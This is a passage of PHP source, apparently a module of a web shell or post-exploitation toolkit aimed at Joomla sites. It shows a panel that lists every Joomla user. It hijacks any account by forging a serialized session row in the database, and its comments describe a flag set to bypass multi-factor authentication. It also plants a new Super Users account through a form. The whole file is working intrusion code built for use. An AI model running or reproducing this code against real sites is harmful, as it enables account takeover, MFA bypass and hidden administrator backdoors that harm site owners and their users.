$feature["op"] === $page)); $users = __PREFIX__getJoomlaUsers(); $page_content = __PREFIX__makePage( $features, $css, $page, [__PREFIX__makePageHeader( $feature[0]["title"], $feature[0]["description"] ), __PREFIX__makeTable( "Users", "Joomla users to impersonate", $users, ["id" => "Id", "username" => "Username", "email" => "Email", "title" => "Role", "actions" => "Actions"], " " . __PREFIX__makeForm( $page, $_SERVER["REQUEST_URI"], ["

Create Joomla user

", __PREFIX__makeInput( "text", "Username", "__PARAM_2__", "admin", "Username of the user to create.", true ), __PREFIX__makeInput( "text", "Email", "__PARAM_3__", "admin@example.com", "Email of the user to create.", true ), __PREFIX__makeInput( "password", "Password", "__PARAM_4__", "••••••••", "Password of the user to create.", true )], "post", "Create user", "flex flex-col gap-y-6 mx-auto w-full" ) . "
" )] ); } /** * Create a Joomla user table row * * @param $data array{id: int, username: string, email: string, title: string} The data of the Joomla user * * @return array{id: int, username: string, email: string, title: string, actions: string} The Joomla user table row */ function __PREFIX__makeJoomlaUserTableRow($data) { global $IMPERSONATE_JOOMLA_USER; return array_merge( $data, ["actions" => __PREFIX__makeForm( $IMPERSONATE_JOOMLA_USER, $_SERVER["REQUEST_URI"], [__PREFIX__makeInput( "hidden", "Username", "__PARAM_1__", "", "Username of the user to impersonate.", true, null, htmlentities($data["username"]) )], "post", "Impersonate", "flex flex-col max-w-xl mb-0" )] ); } /** * Get the list of Joomla users * * @return array{id: int, username: string, email: string, title: string}[] List of Joomla users */ function __PREFIX__getJoomlaUsers() { if(!class_exists("Joomla\CMS\Factory")) { return []; } // inject joomla dependencies $container = \Joomla\CMS\Factory::getContainer(); $db = $container->get("Joomla\Database\DatabaseInterface"); // create a new query object to retrieve user details along with group names $query = $db->getQuery(true); // build the query to retrieve user details and group names $query->select(['u.id', 'u.username', 'u.email', 'g.title']); $query->from($db->quoteName('#__users', 'u')); $query->leftJoin($db->quoteName('#__user_usergroup_map', 'm') . ' ON u.id = m.user_id'); $query->leftJoin($db->quoteName('#__usergroups', 'g') . ' ON m.group_id = g.id'); // set the query conditions to retrieve only activated users: // $query->where('u.block = 0'); // execute the query $db->setQuery($query); return array_map( "__PREFIX__makeJoomlaUserTableRow", $db->loadAssocList() ); } /** * Handle the redirect of Joomla to the administration panel * * @return void */ function __PREFIX__redirectJoomlaToAdminPanel() { if(!class_exists("JUri")) // Get the base URL of the Joomla site $baseUrl = JUri::base(); // Construct the URL to the administration panel $adminUrl = $baseUrl . '../../../administrator/index.php'; // Redirect to the administration panel JFactory::getApplication() ->redirect($adminUrl); } /** * Impersonate a Joomla user given a username * * @param $username string The username of the user to impersonate * * @return void */ function __PREFIX__impersonateJoomlaUser($username) { if(!class_exists("Joomla\CMS\Factory") || !class_exists("Joomla\Registry\Registry")){ return; } // inject joomla dependencies $container = \Joomla\CMS\Factory::getContainer(); /** * @var \Joomla\Database\DatabaseDriver $db */ $db = $container->get("Joomla\Database\DatabaseInterface"); // Get the user ID by username $query = $db->getQuery(true) ->select('id') ->from('#__users') ->where('username = :username') ->bind(':username', $username); $db->setQuery($query); $result = $db->loadResult(); // Get the user object by id $user = $container->get("Joomla\CMS\User\UserFactoryInterface") ->loadUserById($result); // create a new registry object to store the session data $registry = new \Joomla\Registry\Registry(); // the registry must contain a session object (stdClass) $session = new \stdClass(); $session->token = session_id(); $session->counter = 5; $session->timer = new \stdClass(); $session->timer->start = time(); $session->timer->now = time(); $session->timer->last = time() + 60 * 60 * 24; // 24 hours // add the session object to the registry $registry->set("session", $session); // the registry must contain another registry object (i don't know why yet...) $internal_registry = new \Joomla\Registry\Registry(); $registry->set("registry", $internal_registry); // the registry must contain a user object (a full user object directly retrieved from the database) $registry->set("user", $user); // if the user has MFA enabled, we need to bypass it, this should do the trick $mfa_bypass = new \stdClass(); $mfa_bypass->mfa_checked = 1; $registry->set("com_users", $mfa_bypass); // serialize the registry object and encode it in base64 $serializable_session = base64_encode(serialize($registry)); // then serialized the previous object and prepend it with the "joomla|" prefix $serialized_session = "joomla|" . serialize($serializable_session); // update the session data in the database $client_id = 1; $guest = 0; $query = $db->getQuery(true) ->update('#__session') ->set('data = :data') ->set('client_id = :client_id') ->set('guest = :guest') ->set('time = :time') ->set('userid = :uid') ->where('session_id = :session_id') ->bind(':data', $serialized_session) ->bind(':time', $session->timer->now) ->bind(':uid', $user->id) ->bind(':client_id', $client_id) ->bind(':guest', $guest) ->bind(":session_id", $session->token); $db->setQuery($query); $db->execute(); // redirect to the admin panel (if located at the default path) __PREFIX__redirectJoomlaToAdminPanel(); } /** * Add a Joomla super user * * @param $username string The username of the super user * @param $email string The email of the super user * @param $password string The password of the super user * * @return void */ function __PREFIX__addJoomlaSuperUser($username, $email, $password) { if(!class_exists("Joomla\CMS\Factory") || !class_exists("JUserHelper")){ return; } // inject joomla dependencies $container = \Joomla\CMS\Factory::getContainer(); /** * @var \Joomla\Database\DatabaseDriver $db */ $db = $container->get("Joomla\Database\DatabaseInterface"); // Query to retrieve the group ID for Super Users $query = $db->getQuery(true) ->select($db->quoteName('id')) ->from($db->quoteName('#__usergroups')) ->where($db->quoteName('title') . ' = ' . $db->quote('Super Users')); // Execute the query $db->setQuery($query); $groupId = $db->loadResult(); // hash the password $password = JUserHelper::hashPassword($password); // Insert the user into the #__users table $query = $db->getQuery(true) ->insert($db->quoteName('#__users')) ->columns( [$db->quoteName('name'), $db->quoteName('username'), $db->quoteName('email'), $db->quoteName('password'), $db->quoteName('params'), $db->quoteName('registerDate'), $db->quoteName('lastvisitDate'), $db->quoteName('lastResetTime')] ) ->values( $db->quote($username) . ', ' . $db->quote($username) . ', ' . $db->quote($email) . ', ' . $db->quote($password) . ', "", NOW(), NOW(), NOW()' ); $db->setQuery($query); $db->execute(); // Get the user ID of the newly inserted user $userId = $db->insertid(); // Insert user-group mapping into #__user_usergroup_map table $query = $db->getQuery(true) ->insert($db->quoteName('#__user_usergroup_map')) ->columns([$db->quoteName('user_id'), $db->quoteName('group_id')]) ->values($userId . ', ' . $groupId); $db->setQuery($query); $db->execute(); } /** * Handle the login operation * * @param $operation string The operation to handle * @param $features array{title: string, description: string, svg: string, hidden?: bool, op: string}[] The features * container * * @return void */ function __PREFIX__handleJoomlaImpersonate($operation, $features) { if (!empty($_POST["__PARAM_1__"])) { __PREFIX__impersonateJoomlaUser($_POST["__PARAM_1__"]); } elseif (!empty($_POST["__PARAM_2__"]) && !empty($_POST["__PARAM_3__"]) && !empty($_POST["__PARAM_4__"])) { __PREFIX__addJoomlaSuperUser($_POST["__PARAM_2__"], $_POST["__PARAM_3__"], $_POST["__PARAM_4__"]); header( "Location: " . $_SERVER["REQUEST_URI"], true, 301 ); die; } } /** * Hook the isolated operations to add the current operation * * @param $isolated_ops array The isolated operations container * * @return void */ function __PREFIX__joomlaImpersonateHooksIsolatedOps(&$isolated_ops) { global $IMPERSONATE_JOOMLA_USER; $isolated_ops[] = $IMPERSONATE_JOOMLA_USER; } /** * Hook the features to add the login feature * * @param $features array{title: string, description: string, svg: string, hidden?: bool, op: string}[] The features * container * * @return void */ function __PREFIX__joomlaImpersonateHooksFeatures(&$features) { global $IMPERSONATE_JOOMLA_USER; $features[] = ["title" => "Impersonate Joomla user", "description" => "Impersonate a Joomla user by changing the current session.", "svg" => ' ', "op" => $IMPERSONATE_JOOMLA_USER]; } // section.functions.end // section.hooks add_hook("isolated_ops", "__PREFIX__joomlaImpersonateHooksIsolatedOps"); add_hook("features", "__PREFIX__joomlaImpersonateHooksFeatures"); add_named_hook("GET_page", $IMPERSONATE_JOOMLA_USER, "__PREFIX__makeJoomlaImpersonatePage"); add_named_hook("POST_operation", $IMPERSONATE_JOOMLA_USER, "__PREFIX__handleJoomlaImpersonate"); // section.hooks.end